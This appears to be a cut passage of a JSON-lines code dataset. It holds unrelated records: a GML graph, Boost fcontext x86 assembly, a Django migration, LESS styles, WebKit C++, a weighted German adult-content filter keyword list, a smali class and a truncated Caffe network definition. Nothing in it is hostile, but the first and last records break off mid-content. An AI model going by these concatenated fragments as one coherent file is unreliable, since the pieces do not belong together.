1\n label \"ext_P3\"\n ]\n node [\n id 41\n degree 4\n size 1\n label \"norm_P3\"\n ]\n node [\n id 42\n degree 6\n size 1\n label \"basic_P3\"\n ]\n node [\n id 43\n degree 4\n size 1\n label \"R2_off_P3\"\n ]\n node [\n id 44\n degree 6\n size 1\n label \"R1_off_P3\"\n ]\n node [\n id 45\n degree 8\n size 1\n label \"R1_on_P3\"\n ]\n node [\n id 46\n degree 8\n size 1\n label \"R2_on_P3\"\n ]\n node [\n id 47\n degree 2\n size 1\n label \"stop_moving_P3\"\n ]\n node [\n id 48\n degree 4\n size 1\n label \"step3_P3\"\n ]\n node [\n id 49\n degree 4\n size 1\n label \"step4_P3\"\n ]\n node [\n id 50\n degree 4\n size 1\n label \"step2_P3\"\n ]\n node [\n id 51\n degree 4\n size 1\n label \"step1_P3\"\n ]\n node [\n id 52\n degree 2\n size 1\n label \"start_moving_P3\"\n ]\n node [\n id 53\n degree 2\n size 1\n label \"pos1_free\"\n ]\n node [\n id 54\n degree 2\n size 1\n label \"pos2_full\"\n ]\n node [\n id 55\n degree 2\n size 1\n label \"pos1_full\"\n ]\n node [\n id 56\n degree 2\n size 1\n label \"pos2_free\"\n ]\n node [\n id 57\n degree 2\n size 1\n label \"pos3_full\"\n ]\n node [\n id 58\n degree 2\n size 1\n label \"pos3_free\"\n ]\n node [\n id 59\n degree 2\n size 1\n label \"pos4_full\"\n ]\n node [\n id 60\n degree 2\n size 1\n label \"pos4_free\"\n ]\n node [\n id 61\n degree 3\n size 1\n label \"aquire_output_area_P3\"\n ]\n node [\n id 62\n degree 3\n size 1\n label \"release_output_area_P3\"\n ]\n node [\n id 63\n degree 3\n size 1\n label \"aquire_input_area_P3\"\n ]\n node [\n id 64\n degree 3\n size 1\n label \"release_input_area_P3\"\n ]\n node [\n id 65\n degree 4\n size 1\n label \"receive\"\n ]\n node [\n id 66\n degree 2\n size 1\n label \"consume\"\n ]\n node [\n id 67\n degree 3\n size 1\n label \"aquire_output_area_P2\"\n ]\n node [\n id 68\n degree 3\n size 1\n label \"release_output_area_P2\"\n ]\n node [\n id 69\n degree 3\n size 1\n label \"aquire_input_area_P2\"\n ]\n node [\n id 70\n degree 3\n size 1\n label \"release_input_area_P2\"\n ]\n node [\n id 71\n degree 3\n size 1\n label \"aquire_output_area_P1\"\n ]\n node [\n id 72\n degree 3\n size 1\n label \"release_output_area_P1\"\n ]\n node [\n id 73\n degree 3\n size 1\n label \"aquire_input_area_P1\"\n ]\n node [\n id 74\n degree 3\n size 1\n label \"release_input_area_P1\"\n ]\n node [\n id 75\n degree 4\n size 1\n label \"send\"\n ]\n node [\n id 76\n degree 2\n size 1\n label \"produce\"\n ]\n node [\n id 77\n degree 4\n size 1\n label \"ext2norm_P1\"\n ]\n node [\n id 78\n degree 4\n size 1\n label \"norm2ext_P1\"\n ]\n node [\n id 79\n degree 4\n size 1\n label \"norm2basic_P1\"\n ]\n node [\n id 80\n degree 4\n size 1\n label \"basic2norm_P1\"\n ]\n node [\n id 81\n degree 4\n size 1\n label \"R2_set_on_P1\"\n ]\n node [\n id 82\n degree 4\n size 1\n label \"R2_set_off_P1\"\n ]\n node [\n id 83\n degree 4\n size 1\n label \"R1_set_off_P1\"\n ]\n node [\n id 84\n degree 4\n size 1\n label \"R1_set_on_P1\"\n ]\n node [\n id 85\n degree 6\n size 1\n label \"tr3_P1\"\n ]\n node [\n id 86\n degree 6\n size 1\n label \"tr4_P1\"\n ]\n node [\n id 87\n degree 6\n size 1\n label \"tr2_P1\"\n ]\n node [\n id 88\n degree 6\n size 1\n label \"tr1_P1\"\n ]\n node [\n id 89\n degree 4\n size 1\n label \"tr5_P1\"\n ]\n node [\n id 90\n degree 4\n size 1\n label \"ext2norm_P2\"\n ]\n node [\n id 91\n degree 4\n size 1\n label \"norm2ext_P2\"\n ]\n node [\n id 92\n degree 4\n size 1\n label \"norm2basic_P2\"\n ]\n node [\n id 93\n degree 4\n size 1\n label \"basic2norm_P2\"\n ]\n node [\n id 94\n degree 4\n size 1\n label \"R2_set_on_P2\"\n ]\n node [\n id 95\n degree 4\n size 1\n label \"R2_set_off_P2\"\n ]\n node [\n id 96\n degree 4\n size 1\n label \"R1_set_off_P2\"\n ]\n node [\n id 97\n degree 4\n size 1\n label \"R1_set_on_P2\"\n ]\n node [\n id 98\n degree 6\n size 1\n label \"tr3_P2\"\n ]\n node [\n id 99\n degree 6\n size 1\n label \"tr4_P2\"\n ]\n node [\n id 100\n degree 6\n size 1\n label \"tr2_P2\"\n ]\n node [\n id 101\n degree 6\n size 1\n label \"tr1_P2\"\n ]\n node [\n id 102\n degree 4\n size 1\n label \"tr5_P2\"\n ]\n node [\n id 103\n degree 4\n size 1\n label \"ext2norm_P3\"\n ]\n node [\n id 104\n degree 4\n size 1\n label \"norm2ext_P3\"\n ]\n node [\n id 105\n degree 4\n size 1\n label \"norm2basic_P3\"\n ]\n node [\n id 106\n degree 4\n size 1\n label \"basic2norm_P3\"\n ]\n node [\n id 107\n degree 4\n size 1\n label \"R2_set_on_P3\"\n ]\n node [\n id 108\n degree 4\n size 1\n label \"R2_set_off_P3\"\n ]\n node [\n id 109\n degree 4\n size 1\n label \"R1_set_off_P3\"\n ]\n node [\n id 110\n degree 4\n size 1\n label \"R1_set_on_P3\"\n ]\n node [\n id 111\n degree 6\n size 1\n label \"tr3_P3\"\n ]\n node [\n id 112\n degree 6\n size 1\n label \"tr4_P3\"\n ]\n node [\n id 113\n degree 6\n size 1\n label \"tr2_P3\"\n ]\n node [\n id 114\n degree 6\n size 1\n label \"tr1_P3\"\n ]\n node [\n id 115\n degree 4\n size 1\n label \"tr5_P3\"\n ]\n edge [\n id 1\n source 61\n target 52\n ]\n edge [\n id 2\n source 62\n target 2\n ]\n edge [\n id 3\n source 62\n target 59\n ]\n edge [\n id 4\n source 63\n target 1\n ]\n edge [\n id 5\n source 64\n target 3\n ]\n edge [\n id 6\n source 64\n target 58\n ]\n edge [\n id 7\n source 65\n target 4\n ]\n edge [\n id 8\n source 65\n target 60\n ]\n edge [\n id 9\n source 66\n target 5\n ]\n edge [\n id 10\n source 67\n target 39\n ]\n edge [\n id 11\n source 68\n target 7\n ]\n edge [\n id 12\n source 68\n target 57\n ]\n edge [\n id 13\n source 69\n target 6\n ]\n edge [\n id 14\n source 70\n target 8\n ]\n edge [\n id 15\n source 70\n target 56\n ]\n edge [\n id 16\n source 71\n target 26\n ]\n edge [\n id 17\n source 72\n target 10\n ]\n edge [\n id 18\n source 72\n target 54\n ]\n edge [\n id 19\n source 73\n target 9\n ]\n edge [\n id 20\n source 74\n target 11\n ]\n edge [\n id 21\n source 74\n target 53\n ]\n edge [\n id 22\n source 75\n target 13\n ]\n edge [\n id 23\n source 75\n target 55\n ]\n edge [\n id 24\n source 76\n target 12\n ]\n edge [\n id 25\n source 77\n target 15\n ]\n edge [\n id 26\n source 77\n target 20\n ]\n edge [\n id 27\n source 78\n target 14\n ]\n edge [\n id 28\n source 78\n target 19\n ]\n edge [\n id 29\n source 79\n target 16\n ]\n edge [\n id 30\n source 79\n target 20\n ]\n edge [\n id 31\n source 80\n target 15\n ]\n edge [\n id 32\n source 80\n target 19\n ]\n edge [\n id 33\n source 81\n target 20\n ]\n edge [\n id 34\n source 81\n target 22\n ]\n edge [\n id 35\n source 82\n target 17\n ]\n edge [\n id 36\n source 82\n target 23\n ]\n edge [\n id 37\n source 83\n target 18\n ]\n edge [\n id 38\n source 83\n target 24\n ]\n edge [\n id 39\n source 84\n target 19\n ]\n edge [\n id 40\n source 84\n target 25\n ]\n edge [\n id 41\n source 85\n target 14\n ]\n edge [\n id 42\n source 85\n target 18\n ]\n edge [\n id 43\n source 85\n target 22\n ]\n edge [\n id 44\n source 86\n target 16\n ]\n edge [\n id 45\n source 86\n target 20\n ]\n edge [\n id 46\n source 86\n target 23\n ]\n edge [\n id 47\n source 87\n target 14\n ]\n edge [\n id 48\n source 87\n target 19\n ]\n edge [\n id 49\n source 87\n target 24\n ]\n edge [\n id 50\n source 88\n target 16\n ]\n edge [\n id 51\n source 88\n target 18\n ]\n edge [\n id 52\n source 88\n target 25\n ]\n edge [\n id 53\n source 89\n target 17\n ]\n edge [\n id 54\n source 89\n target 21\n ]\n edge [\n id 55\n source 90\n target 28\n ]\n edge [\n id 56\n source 90\n target 33\n ]\n edge [\n id 57\n source 91\n target 27\n ]\n edge [\n id 58\n source 91\n target 32\n ]\n edge [\n id 59\n source 92\n target 29\n ]\n edge [\n id 60\n source 92\n target 33\n ]\n edge [\n id 61\n source 93\n target 28\n ]\n edge [\n id 62\n source 93\n target 32\n ]\n edge [\n id 63\n source 94\n target 33\n ]\n edge [\n id 64\n source 94\n target 35\n ]\n edge [\n id 65\n source 95\n target 30\n ]\n edge [\n id 66\n source 95\n target 36\n ]\n edge [\n id 67\n source 96\n target 31\n ]\n edge [\n id 68\n source 96\n target 37\n ]\n edge [\n id 69\n source 97\n target 32\n ]\n edge [\n id 70\n source 97\n target 38\n ]\n edge [\n id 71\n source 98\n target 27\n ]\n edge [\n id 72\n source 98\n target 31\n ]\n edge [\n id 73\n source 98\n target 35\n ]\n edge [\n id 74\n source 99\n target 29\n ]\n edge [\n id 75\n source 99\n target 33\n ]\n edge [\n id 76\n source 99\n target 36\n ]\n edge [\n id 77\n source 100\n target 27\n ]\n edge [\n id 78\n source 100\n target 32\n ]\n edge [\n id 79\n source 100\n target 37\n ]\n edge [\n id 80\n source 101\n target 29\n ]\n edge [\n id 81\n source 101\n target 31\n ]\n edge [\n id 82\n source 101\n target 38\n ]\n edge [\n id 83\n source 102\n target 30\n ]\n edge [\n id 84\n source 102\n target 34\n ]\n edge [\n id 85\n source 103\n target 41\n ]\n edge [\n id 86\n source 103\n target 46\n ]\n edge [\n id 87\n source 104\n target 40\n ]\n edge [\n id 88\n source 104\n target 45\n ]\n edge [\n id 89\n source 105\n target 42\n ]\n edge [\n id 90\n source 105\n target 46\n ]\n edge [\n id 91\n source 106\n target 41\n ]\n edge [\n id 92\n source 106\n target 45\n ]\n edge [\n id 93\n source 107\n target 46\n ]\n edge [\n id 94\n source 107\n target 48\n ]\n edge [\n id 95\n source 108\n target 43\n ]\n edge [\n id 96\n source 108\n target 49\n ]\n edge [\n id 97\n source 109\n target 44\n ]\n edge [\n id 98\n source 109\n target 50\n ]\n edge [\n id 99\n source 110\n target 45\n ]\n edge [\n id 100\n source 110\n target 51\n ]\n edge [\n id 101\n source 111\n target 40\n ]\n edge [\n id 102\n source 111\n target 44\n ]\n edge [\n id 103\n source 111\n target 48\n ]\n edge [\n id 104\n source 112\n target 42\n ]\n edge [\n id 105\n source 112\n target 46\n ]\n edge [\n id 106\n source 112\n target 49\n ]\n edge [\n id 107\n source 113\n target 40\n ]\n edge [\n id 108\n source 113\n target 45\n ]\n edge [\n id 109\n source 113\n target 50\n ]\n edge [\n id 110\n source 114\n target 42\n ]\n edge [\n id 111\n source 114\n target 44\n ]\n edge [\n id 112\n source 114\n target 51\n ]\n edge [\n id 113\n source 115\n target 43\n ]\n edge [\n id 114\n source 115\n target 47\n ]\n edge [\n id 115\n source 1\n target 61\n ]\n edge [\n id 116\n source 60\n target 61\n ]\n edge [\n id 117\n source 47\n target 62\n ]\n edge [\n id 118\n source 3\n target 63\n ]\n edge [\n id 119\n source 57\n target 63\n ]\n edge [\n id 120\n source 2\n target 64\n ]\n edge [\n id 121\n source 5\n target 65\n ]\n edge [\n id 122\n source 59\n target 65\n ]\n edge [\n id 123\n source 4\n target 66\n ]\n edge [\n id 124\n source 6\n target 67\n ]\n edge [\n id 125\n source 58\n target 67\n ]\n edge [\n id 126\n source 34\n target 68\n ]\n edge [\n id 127\n source 8\n target 69\n ]\n edge [\n id 128\n source 54\n target 69\n ]\n edge [\n id 129\n source 7\n target 70\n ]\n edge [\n id 130\n source 9\n target 71\n ]\n edge [\n id 131\n source 56\n target 71\n ]\n edge [\n id 132\n source 21\n target 72\n ]\n edge [\n id 133\n source 11\n target 73\n ]\n edge [\n id 134\n source 55\n target 73\n ]\n edge [\n id 135\n source 10\n target 74\n ]\n edge [\n id 136\n source 12\n target 75\n ]\n edge [\n id 137\n source 53\n target 75\n ]\n edge [\n id 138\n source 13\n target 76\n ]\n edge [\n id 139\n source 14\n target 77\n ]\n edge [\n id 140\n source 20\n target 77\n ]\n edge [\n id 141\n source 15\n target 78\n ]\n edge [\n id 142\n source 19\n target 78\n ]\n edge [\n id 143\n source 15\n target 79\n ]\n edge [\n id 144\n source 20\n target 79\n ]\n edge [\n id 145\n source 16\n target 80\n ]\n edge [\n id 146\n source 19\n target 80\n ]\n edge [\n id 147\n source 17\n target 81\n ]\n edge [\n id 148\n source 22\n target 81\n ]\n edge [\n id 149\n source 20\n target 82\n ]\n edge [\n id 150\n source 23\n target 82\n ]\n edge [\n id 151\n source 19\n target 83\n ]\n edge [\n id 152\n source 24\n target 83\n ]\n edge [\n id 153\n source 18\n target 84\n ]\n edge [\n id 154\n source 25\n target 84\n ]\n edge [\n id 155\n source 14\n target 85\n ]\n edge [\n id 156\n source 18\n target 85\n ]\n edge [\n id 157\n source 24\n target 85\n ]\n edge [\n id 158\n source 16\n target 86\n ]\n edge [\n id 159\n source 20\n target 86\n ]\n edge [\n id 160\n source 22\n target 86\n ]\n edge [\n id 161\n source 14\n target 87\n ]\n edge [\n id 162\n source 19\n target 87\n ]\n edge [\n id 163\n source 25\n target 87\n ]\n edge [\n id 164\n source 16\n target 88\n ]\n edge [\n id 165\n source 18\n target 88\n ]\n edge [\n id 166\n source 26\n target 88\n ]\n edge [\n id 167\n source 17\n target 89\n ]\n edge [\n id 168\n source 23\n target 89\n ]\n edge [\n id 169\n source 27\n target 90\n ]\n edge [\n id 170\n source 33\n target 90\n ]\n edge [\n id 171\n source 28\n target 91\n ]\n edge [\n id 172\n source 32\n target 91\n ]\n edge [\n id 173\n source 28\n target 92\n ]\n edge [\n id 174\n source 33\n target 92\n ]\n edge [\n id 175\n source 29\n target 93\n ]\n edge [\n id 176\n source 32\n target 93\n ]\n edge [\n id 177\n source 30\n target 94\n ]\n edge [\n id 178\n source 35\n target 94\n ]\n edge [\n id 179\n source 33\n target 95\n ]\n edge [\n id 180\n source 36\n target 95\n ]\n edge [\n id 181\n source 32\n target 96\n ]\n edge [\n id 182\n source 37\n target 96\n ]\n edge [\n id 183\n source 31\n target 97\n ]\n edge [\n id 184\n source 38\n target 97\n ]\n edge [\n id 185\n source 27\n target 98\n ]\n edge [\n id 186\n source 31\n target 98\n ]\n edge [\n id 187\n source 37\n target 98\n ]\n edge [\n id 188\n source 29\n target 99\n ]\n edge [\n id 189\n source 33\n target 99\n ]\n edge [\n id 190\n source 35\n target 99\n ]\n edge [\n id 191\n source 27\n target 100\n ]\n edge [\n id 192\n source 32\n target 100\n ]\n edge [\n id 193\n source 38\n target 100\n ]\n edge [\n id 194\n source 29\n target 101\n ]\n edge [\n id 195\n source 31\n target 101\n ]\n edge [\n id 196\n source 39\n target 101\n ]\n edge [\n id 197\n source 30\n target 102\n ]\n edge [\n id 198\n source 36\n target 102\n ]\n edge [\n id 199\n source 40\n target 103\n ]\n edge [\n id 200\n source 46\n target 103\n ]\n edge [\n id 201\n source 41\n target 104\n ]\n edge [\n id 202\n source 45\n target 104\n ]\n edge [\n id 203\n source 41\n target 105\n ]\n edge [\n id 204\n source 46\n target 105\n ]\n edge [\n id 205\n source 42\n target 106\n ]\n edge [\n id 206\n source 45\n target 106\n ]\n edge [\n id 207\n source 43\n target 107\n ]\n edge [\n id 208\n source 48\n target 107\n ]\n edge [\n id 209\n source 46\n target 108\n ]\n edge [\n id 210\n source 49\n target 108\n ]\n edge [\n id 211\n source 45\n target 109\n ]\n edge [\n id 212\n source 50\n target 109\n ]\n edge [\n id 213\n source 44\n target 110\n ]\n edge [\n id 214\n source 51\n target 110\n ]\n edge [\n id 215\n source 40\n target 111\n ]\n edge [\n id 216\n source 44\n target 111\n ]\n edge [\n id 217\n source 50\n target 111\n ]\n edge [\n id 218\n source 42\n target 112\n ]\n edge [\n id 219\n source 46\n target 112\n ]\n edge [\n id 220\n source 48\n target 112\n ]\n edge [\n id 221\n source 40\n target 113\n ]\n edge [\n id 222\n source 45\n target 113\n ]\n edge [\n id 223\n source 51\n target 113\n ]\n edge [\n id 224\n source 42\n target 114\n ]\n edge [\n id 225\n source 44\n target 114\n ]\n edge [\n id 226\n source 52\n target 114\n ]\n edge [\n id 227\n source 43\n target 115\n ]\n edge [\n id 228\n source 49\n target 115\n ]\n]\n"} -{"text": "/*\n Copyright Oliver Kowalke 2009.\n Distributed under the Boost Software License, Version 1.0.\n (See accompanying file LICENSE_1_0.txt or copy at\n http://www.boost.org/LICENSE_1_0.txt)\n*/\n\n/****************************************************************************************\n * *\n * ---------------------------------------------------------------------------------- *\n * | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | *\n * ---------------------------------------------------------------------------------- *\n * | 0x0 | 0x4 | 0x8 | 0xc | 0x10 | 0x14 | 0x18 | 0x1c | *\n * ---------------------------------------------------------------------------------- *\n * | fc_mxcsr|fc_x87_cw| EDI | ESI | EBX | EBP | EIP | to | *\n * ---------------------------------------------------------------------------------- *\n * ---------------------------------------------------------------------------------- *\n * | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | *\n * ---------------------------------------------------------------------------------- *\n * | 0x20 | | *\n * ---------------------------------------------------------------------------------- *\n * | data | | *\n * ---------------------------------------------------------------------------------- *\n * *\n ****************************************************************************************/\n\n.text\n.globl _copp_jump_fcontext\n.align 2\n_copp_jump_fcontext:\n leal -0x18(%esp), %esp /* prepare stack */\n\n#if !defined(LIBCOPP_FCONTEXT_USE_TSX)\n stmxcsr (%esp) /* save MMX control- and status-word */\n fnstcw 0x4(%esp) /* save x87 control-word */\n#endif\n\n movl %edi, 0x8(%esp) /* save EDI */\n movl %esi, 0xc(%esp) /* save ESI */\n movl %ebx, 0x10(%esp) /* save EBX */\n movl %ebp, 0x14(%esp) /* save EBP */\n\n /* store ESP (pointing to context-data) in ECX */\n movl %esp, %ecx\n\n /* first arg of copp_jump_fcontext() == fcontext to jump to */\n movl 0x1c(%esp), %eax\n\n /* second arg of copp_jump_fcontext() == data to be transferred */\n movl 0x20(%esp), %edx\n\n /* restore ESP (pointing to context-data) from EAX */\n movl %eax, %esp\n\n /* return parent fcontext_t */\n movl %ecx, %eax\n /* returned data is stored in EDX */ \n \n movl 0x18(%esp), %ecx /* restore EIP */\n\n#if !defined(LIBCOPP_FCONTEXT_USE_TSX)\n ldmxcsr (%esp) /* restore MMX control- and status-word */\n fldcw 0x4(%esp) /* restore x87 control-word */\n#endif\n\n movl 0x8(%esp), %edi /* restore EDI */\n movl 0xc(%esp), %esi /* restore ESI */\n movl 0x10(%esp), %ebx /* restore EBX */\n movl 0x14(%esp), %ebp /* restore EBP */\n\n leal 0x1c(%esp), %esp /* prepare stack */\n\n /* jump to context */\n jmp *%ecx\n"} -{"text": "# Generated by Django 2.2.8 on 2020-01-15 20:51\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('dcim', '0089_deterministic_ordering'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='cable',\n name='termination_a_type',\n field=models.ForeignKey(limit_choices_to=models.Q(models.Q(models.Q(('app_label', 'circuits'), ('model__in', ('circuittermination',))), models.Q(('app_label', 'dcim'), ('model__in', ('consoleport', 'consoleserverport', 'frontport', 'interface', 'powerfeed', 'poweroutlet', 'powerport', 'rearport'))), _connector='OR')), on_delete=django.db.models.deletion.PROTECT, related_name='+', to='contenttypes.ContentType'),\n ),\n migrations.AlterField(\n model_name='cable',\n name='termination_b_type',\n field=models.ForeignKey(limit_choices_to=models.Q(models.Q(models.Q(('app_label', 'circuits'), ('model__in', ('circuittermination',))), models.Q(('app_label', 'dcim'), ('model__in', ('consoleport', 'consoleserverport', 'frontport', 'interface', 'powerfeed', 'poweroutlet', 'powerport', 'rearport'))), _connector='OR')), on_delete=django.db.models.deletion.PROTECT, related_name='+', to='contenttypes.ContentType'),\n ),\n ]\n"} -{"text": "//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n background-color: @pagination-hover-bg;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-bg;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-bg;\n border-color: @pagination-border;\n cursor: not-allowed;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @border-radius-small);\n}\n"} -{"text": "/*\n * Copyright (C) 2017 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"config.h\"\n#include \"DisplayCaptureManagerCocoa.h\"\n\n#if ENABLE(MEDIA_STREAM)\n\n#include \"Logging.h\"\n#include \n#include \n\n#if PLATFORM(MAC)\n#include \"ScreenDisplayCapturerMac.h\"\n#include \"WindowDisplayCapturerMac.h\"\n#include \n#endif\n\n#include \"CoreVideoSoftLink.h\"\n\nnamespace WebCore {\n\nDisplayCaptureManagerCocoa& DisplayCaptureManagerCocoa::singleton()\n{\n static NeverDestroyed manager;\n return manager.get();\n}\n\nconst Vector& DisplayCaptureManagerCocoa::captureDevices()\n{\n m_devices.clear();\n\n updateDisplayCaptureDevices();\n updateWindowCaptureDevices();\n\n return m_devices;\n}\n\nvoid DisplayCaptureManagerCocoa::updateDisplayCaptureDevices()\n{\n#if PLATFORM(MAC)\n ScreenDisplayCapturerMac::screenCaptureDevices(m_devices);\n#endif\n}\n\nvoid DisplayCaptureManagerCocoa::updateWindowCaptureDevices()\n{\n#if PLATFORM(MAC)\n WindowDisplayCapturerMac::windowCaptureDevices(m_devices);\n#endif\n}\n\nOptional DisplayCaptureManagerCocoa::screenCaptureDeviceWithPersistentID(const String& deviceID)\n{\n#if PLATFORM(MAC)\n return ScreenDisplayCapturerMac::screenCaptureDeviceWithPersistentID(deviceID);\n#else\n UNUSED_PARAM(deviceID);\n return WTF::nullopt;\n#endif\n}\n\nOptional DisplayCaptureManagerCocoa::windowCaptureDeviceWithPersistentID(const String& deviceID)\n{\n#if PLATFORM(MAC)\n return WindowDisplayCapturerMac::windowCaptureDeviceWithPersistentID(deviceID);\n#else\n UNUSED_PARAM(deviceID);\n return WTF::nullopt;\n#endif\n}\n\nOptional DisplayCaptureManagerCocoa::captureDeviceWithPersistentID(CaptureDevice::DeviceType type, const String& id)\n{\n switch (type) {\n case CaptureDevice::DeviceType::Screen:\n return screenCaptureDeviceWithPersistentID(id);\n break;\n\n case CaptureDevice::DeviceType::Window:\n return windowCaptureDeviceWithPersistentID(id);\n break;\n\n case CaptureDevice::DeviceType::Camera:\n case CaptureDevice::DeviceType::Microphone:\n case CaptureDevice::DeviceType::Speaker:\n case CaptureDevice::DeviceType::Unknown:\n ASSERT_NOT_REACHED();\n break;\n }\n\n return WTF::nullopt;\n}\n\n} // namespace WebCore\n\n#endif // ENABLE(MEDIA_STREAM)\n"} -{"text": "\n<24 stunden live><20>\n<20>\n<80>\n<80>\n<20>\n<20>\n<30>\n<20>\n<20>\n< dildo ><50>\n<80>\n<40>\n<40>\n<40>\n< erotik ><60>\n<60>\n<60>\n< fick ><30>\n<30>\n<40>\n<40>\n<40>\n<10>\n<20>\n<20>\n<20>\n<40>\n<20>\n<40>\n<80>\n<10>\n<10>\n<40>\n<80>\n#<20> overblock - Karla Homolka as example\n#<40> overblock?\n<10>\n<10>\n<20>\n<40>\n<80>\n<20>\n<10>\n<20>\n< luder ><40>\n<10>\n<10>\n<40>\n<40>\n<80>\n<10>\n<20>\n<80>\n<40>\n,<40>\n<20>\n<20>\n<10>\n<20>\n<40>\n<80>\n<80>\n<20>\n<5>\n<10>\n<60>\n<40>\n<80>\n<80>\n<80>\n<40>\n<20>\n<40>\n<40>\n#<40>\n<40>\n<40>\n<40>\n<40>\n<80>\n<80>\n<20>\n<40>\n<40>\n<40>\n<20>\n< wichse ><40>\n<40>\n<40>\n<10>\n<60>\n<20>\n"} -{"text": ".class public final Landroid/support/customtabs/BuildConfig;\n.super Ljava/lang/Object;\n\n\n# static fields\n.field public static final APPLICATION_ID:Ljava/lang/String; = \"android.support.customtabs\"\n\n.field public static final BUILD_TYPE:Ljava/lang/String; = \"release\"\n\n.field public static final DEBUG:Z = false\n\n.field public static final FLAVOR:Ljava/lang/String; = \"\"\n\n.field public static final VERSION_CODE:I = -0x1\n\n.field public static final VERSION_NAME:Ljava/lang/String; = \"\"\n\n\n# direct methods\n.method public constructor ()V\n .locals 0\n\n invoke-direct {p0}, Ljava/lang/Object;->()V\n\n return-void\n.end method\n"} -{"text": "name: \"12Net\"\ninput: \"data\"\ninput_dim: 1\ninput_dim: 3\ninput_dim: 12\ninput_dim: 12\n\nlayer {\n name: \"conv1\"\n type: \"Convolution\"\n bottom: \"data\"\n top: \"conv1\"\n param {\n lr_mult: 1\n decay_mult: 1\n }\n param {\n lr_mult: 2\n decay_mult: 0\n }\n convolution_param {\n num_output: 10\n kernel_size: 3\n stride: 1\n weight_filler {\n type: \"xavier\"\n }\n bias_filler {\n type: \"constant\"\n value: 0\n }\n }\n}\nlayer {\n name: \"PReLU1\"\n type: \"PReLU\"\n bottom: \"conv1\"\n top: \"conv1\"\n}\nlayer {\n name: \"pool1\"\n type: \"Pooling\"\n bottom: \"conv1\"\n top: \"pool1\"\n pooling_param {\n pool: MAX\n kernel_size: 2\n stride: 2\n }\n}\n\nlayer {\n name: \"conv2\"\n type: \"Convolution\"\n bottom: \"pool1\"\n top: \"conv2\"\n param {\n lr_mult: 1\n decay_mult: 1\n }\n param {\n lr_mult: 2\n decay_mult: 0\n }\n convolution_param {\n num_output: 16\n kernel_size: 3\n stride: 1\n weight_filler {\n type: \"xavier\"\n }\n bias_filler {\n type: \"constant\"\n value: 0\n }\n }\n}\nlayer {\n name: \"PReLU2\"\n type: \"PReLU\"\n bottom: \"conv2\"\n top: \"conv2\"\n}\n\nlayer {\n name: \"conv3\"\n type: \"Convolution\"\n bottom: \"conv2\"\n top: \"conv3\"\n param {\n lr_mult: 1\n decay_mult: 1\n }\n param {\n lr_mult: 2\n decay_mult: 0\n }\n convolution_param {\n num_output: 32\n kernel_size: 3\n stride: 1\n weight_filler {\n type: \"xavier\"\n }\n bias_filler {\n\t type: \"constant\"\n value: 0\n }\n }\n}\nlayer {\n name: \"PReLU3\"\n type: \"PReLU\"\n bottom: \"conv3\"\n top: \"conv3\"\n}\n\n\nlayer {\n name: \"conv4-1\"\n type: \"Convolution\"\n bottom: \"conv3\"\n top: \"conv4-1\"\n param {\n lr_mult: 1\n decay_mult: 1\n }\n param {\n lr_mult: 2\n decay_mult: 0\n }\n convolution_param {\n num_output: 2\n kernel_size: 1\n stride: 1\n weight_filler {\n type: \"xavier\"\n }\n bias_filler {\n type: \"constant\"\n value: 0\n }\n }\n}\n\nlayer {\n name: \"conv4-2\"\n type: \"Convolution\"\n bottom: \"conv3\"\n top: \"conv4-2\"\n param {\n lr_mult: 1\n decay_mult: 1\n }\n param {\n lr_mult: 2\n decay_mult: 0\n }\n convolution_param {\n num_output: 4\n kernel_size: 1\n stride: 1\n weight_filler {\n type: \"xavier\"\n\t}\n bias_filler {\n type: \"constant\"\n value: 0\n }\n }\n}\nlayer {\n name: 